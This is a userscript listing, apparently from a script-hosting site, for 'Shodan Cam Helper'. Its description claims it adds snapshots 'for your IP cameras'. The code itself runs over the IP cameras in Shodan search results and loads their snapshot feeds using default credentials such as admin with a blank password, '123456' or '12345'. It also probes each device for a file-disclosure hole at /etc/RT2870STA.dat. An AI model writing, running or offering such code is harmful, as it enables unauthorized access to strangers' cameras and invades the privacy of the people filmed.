您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
Adds snapshots for your IP cameras
// ==UserScript== // @name Shodan Cam Helper // @namespace http://ebaumsworld.com/ // @version 0.1 // @description Adds snapshots for your IP cameras // @author joe // @match https://www.shodan.io/search?query* // @grant GM_xmlhttpRequest // ==/UserScript== var ENABLED_LOGGABLE_VIDEOSTREAM = false; var ENABLED_SNAPSHOT = true; var ENABLED_TRAVERSAL = true; var IPs = []; var TIMEOUT_IN_MS = 2000; addCredentials = function(type, username, password, url) { if(type == 1) { // add at http return url.replace("http://", "http://" + username + ":" + password + "@"); } else { if(url.indexOf("?") > 0) { url += "&"; } else { url += "?"; } return url + "user=" + username + "&pwd=" + password; } } var shodanIPs = document.getElementsByClassName("ip"); var i = 0; for(i = 0; i < shodanIPs.length; i++) { var url = shodanIPs[i].getElementsByTagName("a")[0].href; var videostream = addCredentials(1, "admin", "", url + "videostream.cgi"); var snapshot = addCredentials(2, "admin", "", url + "snapshot.cgi"); var snapshot2 = addCredentials(2, "admin", "123456", url + "snapshot.cgi"); var snapshot3 = addCredentials(2, "admin", "12345", url + "snapshot.cgi"); //var traversalCheck = url + "//etc/RT2870STA.dat"; var addition = "<br />"; if(ENABLED_LOGGABLE_VIDEOSTREAM) { addition += "Loggable: <img src=\"" + videostream + "\" /><br />"; } if(ENABLED_SNAPSHOT) { addition += "<img onerror='this.style.display = \"none\"' src=\"" + snapshot + "\" /><br />"; addition += "<img onerror='this.style.display = \"none\"' src=\"" + snapshot2 + "\" /><br />"; addition += "<img onerror='this.style.display = \"none\"' src=\"" + snapshot3 + "\" /><br />"; } if(ENABLED_TRAVERSAL) { addition += "<div class=\"" + url + "\"> </div>"; IPs.unshift(url); } shodanIPs[i].innerHTML += addition; } function checkVulnerability() { if(IPs.length > 0) { var currentIP = IPs.pop(); GM_xmlhttpRequest({ url: currentIP + "/etc/RT2870STA.dat", method: "GET", onload: function(response) { var text = ""; if(response.status == "200") { text = "<b><u>Vulnerable to //proc/kcore!</u></b>"; } else { text = "Not vulnerable?"; } document.getElementsByClassName(currentIP)[0].innerHTML = text; checkVulnerability(); }, timeout: TIMEOUT_IN_MS, ontimeout: function() { var text = "Request timed out (Is site up?)"; document.getElementsByClassName(currentIP)[0].innerHTML = text; checkVulnerability(); } }); } } checkVulnerability();